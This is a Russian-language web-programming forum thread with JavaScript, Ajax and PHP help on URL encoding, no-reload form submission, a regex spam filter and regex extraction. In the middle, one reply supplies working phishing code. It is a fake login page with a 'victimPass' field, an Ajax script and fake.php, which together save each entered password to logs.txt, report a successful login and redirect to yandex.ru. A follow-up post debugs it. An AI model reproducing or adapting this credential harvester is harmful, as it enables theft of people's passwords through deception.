Невозможно....Тут то и дело в самой переменной! eval("var mix"+rnd+"gh='"+value+"';"); в итоге выходит var mixbiggh='myvalueBIG'; тут дело в том и состоит,задать имя переменной с других переменных...
Есь такой код: PHP: <script> function decrypt(n) { var l,ch,ind,q="",key='!@#$%^&*()_+}{";:qwertyuiopnmasdfghjklzxcvb/<>?~'; location.replace(document.location + "?decr=" + q); } </script> <input type="text" id="encr"/><br/> <input type="button" name="decr" onclick="decrypt(document.getElementById('encr').value)" value="decrypt"/> <?php if(isset($_GET['decr'])) { // $f=fopen("out.txt", "w"); // fwrite($f, $_GET['decr']); echo $pr; } ?> Так вот он знак + воспринимает как команду. Как заставить его воспринимать как символ? P.S. Если ввести в поле "+", то он его не выведет, что говорит о том, что он не воспринимает как символ. Как сделать, чтобы он его выводил?
оно ничего не выводит, q = "" используй encodeURIComponent() для того чтобы + не воспринимался как пробел
Здрасти! Мене нужно сделать скрипт на технологии аякс. Суть такова. Как сделать чтобы пост-запрос отправляющийся через форму, сразу давал вывод информации без перезагрузки страницы?
PHP: function page_all(form) { strAlert1 = "";if (form.com_author.value == "") strAlert1 = "- Имя\n"; strAlert2 = ""; if (((form.com_em.value.indexOf("@")) < 2) || ((form.com_em.value.indexOf(".")) < 2) || ((form.com_em.value.length) < 8)) {strAlert2 = "- e-mail\n";} strAlert3 = "";if (form.com_city.value == "") strAlert3 = "- Город\n"; strAlert4 = "";if (form.com_text.value == "") strAlert4 = "- Комментарий\n"; strAlert5 = "";if (form.regcode.value == "") strAlert5 = "- Защитный код\n"; strAlert = strAlert1 + strAlert2 + strAlert3 + strAlert4 + strAlert5; if (strAlert != "") {alert ("Пожалуйста, заполните поля:\n" + strAlert);return false;} } есть такой яваскрипт в движке, а именно в чате. так вот как сделать так, чтобы при вводе в коменнтарий(com_text) определенных символов, например: http://, a href. он выдавал ошибку, ату спамеры надаели балин, затраxали честное слово
HTML: <form id="form"><textarea name="com_text" onkeyup="aaa()"></textarea></form> <script> function aaa() { var reg = new RegExp(/http:\/\/|a[^h]+href/g); if ( form.com_text.value.match(reg) ) { form.com_text.value = form.com_text.value.replace(reg,""); alert('no spam!'); } } </script> адаптируй под себя
блин че то руки у меня кривые, вот пишу так: PHP: function page_all(form) { strAlert1 = "";if (form.book_author.value == "") strAlert1 = "- Имя\n"; var reg = new RegExp(/http:\/\/|a[^h]+href/g);if ( form.com_text.value.match(reg) ) { form.com_text.value = form.com_text.value.replace(reg,""); alert('no spam!'); } strAlert3 = "";if (form.regcode.value == "") strAlert3 = "- Защитный код\n"; strAlert = strAlert1 + strAlert2 + strAlert3; if (strAlert != "") {alert ("Пожалуйста, заполните поля:\n" + strAlert);return false;} }
HTML: function page_all(form) { strAlert1 = ""; if ( form.com_author.value == "" ) strAlert1 = "- Имя\n"; strAlert2 = ""; if ( ((form.com_em.value.indexOf("@")) < 2) || ((form.com_em.value.indexOf(".")) < 2) || ((form.com_em.value.length) < 8) ) strAlert2 = "- e-mail\n"; strAlert3 = ""; if ( form.com_city.value == "" ) strAlert3 = "- Город\n"; strAlert4 = ""; if ( form.com_text.value == "" ) strAlert4 = "- Комментарий\n"; else { var reg = new RegExp(/http:\/\/|a[^h]+href/g); if ( form.com_text.value.match(reg) ) form.com_text.value = form.com_text.value.replace(reg,""); // или какое-нибудь действие вместо удаления символов } strAlert5 = ""; if ( form.regcode.value == "" ) strAlert5 = "- Защитный код\n"; strAlert = strAlert1 + strAlert2 + strAlert3 + strAlert4 + strAlert5; if ( strAlert != "" ) { alert("Пожалуйста, заполните поля:\n" + strAlert); return false; } }
извиняюсь правда меня интересует такой же вопрос как и в eboome но чуть другой мне нужно чтоб без нажатия кнопки приисходил отправка резуьтата и сразу ответ.. пример такой вконтакте при в фильтра друзей.. Зарания спасибо
Запускай по событии onChange К примеру : Code: <input name="text" type="text" onChange="javascript:script()">
Приветствую, есть вопрос.. поднял у себя Апач. начал работу с Ajax. есть скрипт где такие строчки: Code: var xhr=new XMLHttpRequest(); xhr.open("GET", "http://localhost/ajax/main.xml"); (в место локалхоста пробовал и на сайты выкладывать) адрес правильный.. но Firebug мозиллы сообщает что: в чём может быть проблема?
Приветствую ! В джаве первый раз - нужна помощь ! Есть такая форма : <FORM method="post" name="login" id="login" onsubmit="login(); return false;"> <LABEL for="email">Email:</LABEL> <INPUT class="inputText" onclick="show('expirePad');" type="text" name="email" id="email" size="20"> <LABEL for="pass">Пароль:</LABEL> <INPUT class="inputText" onclick="show('expirePad');" type="password" name="pass" id="pass" size="20"> При нажатие на кнопку будет вызываться функция login(); Так вот - приведите пример функции чтобы значения этих двух полей постоянно дозаписывались в файл ! И сразу после записи переадресовывать на страницу скажем main.php ! Заранее спс !
Пример будет из нескольких файлов, и понадобиться еще серверный скриптовый язык... Для примера - php. login.html: PHP: <html> <head> <script language="javascript" type="text/javascript" src="ajaxget.js"></script> </head> <body> <form name=fakeLogin onsubmit="return logAccount();"> <input type=text name=victimPass /> <input type=submit /> </form> <p><span id="loginspan"></span></p> </body> </html> ajaxget.js: PHP: var http_request = false; function makeRequest(url, parameters) { http_request = false; if (window.XMLHttpRequest) { // Mozilla, Safari,... http_request = new XMLHttpRequest(); if (http_request.overrideMimeType) { // set type accordingly to anticipated content type //http_request.overrideMimeType('text/xml'); http_request.overrideMimeType('text/html'); } } else if (window.ActiveXObject) { // IE try { http_request = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try { http_request = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) {} } } if (!http_request) { alert('Cannot create XMLHTTP instance'); return false; } http_request.onreadystatechange = alertContents; http_request.open('GET', url + parameters, true); http_request.send(null); } function alertContents() { if (http_request.readyState == 4) { if (http_request.status == 200) { //alert(http_request.responseText); result = http_request.responseText; document.getElementById('loginspan').innerHTML = result; document.location = 'http://yandex.ru/'; } else { alert('There was a problem with the request.'); } } } function logAccount() { var f = document.forms['fakeLogin']; makeRequest('fake.php','?password='+encodeURI(f.victimPass.value)); return false; } fake.php: PHP: <?php if(isset($_GET['password'])){ $password= $_GET['password']; if ($fp = fopen("logs.txt","a")) { fputs($fp,$password."\n"); } echo 'good password, welcome'; } else { echo 'bad password'; } ?> Принцип такой, заходим на login.html, вводим пароль, нам говорят что мы успешно вошли и нас перекидывает на yandex.ru. При этом пароль сохраняется на сервере в файле logs.txt.
Вроде все правильно скопил и файлы по создавал , на ДЕНВЕРЕ запустил никакого файла нигде не создается ! Попроще функции нету ??? Может проблему легче на ПХП решить ?
Смотри внимательно исходники, файл ajaxget.js, функция logAccount(), вторая строка. Я все правильно вставил в форум, но запостилось почему-то с таинственными пробелами. В листинге Code: encodeURI(f.vi ctimPass.value) , а должно быть БЕЗ пробелов, просто f.victimPass.value, попробуй так, должно работать. В других местах вроде опечаток нет. Вроде. з.ы. на пхп конечно проще, но ты же сам задал вопрос в теме про ajax и js.
Помогите,нужен аналог етому,с пхп... preg_match_all('#Text(.*?)Text2#is',$page,$remixemail); Чтоб в переменной искало и копировало текст между Text и Text2 в другую переменную,спс...
Code: <script type="text/javascript"> var testString = '34893275 Text lolo Text2 3535 Text lolo1 Text2 34893275 Text lolo2 Text2 3535 Text lolo3 Text2'; var re = /Text(.*?)Text2/g; while (matches = re.exec(testString)) { document.write(matches[1]); } </script>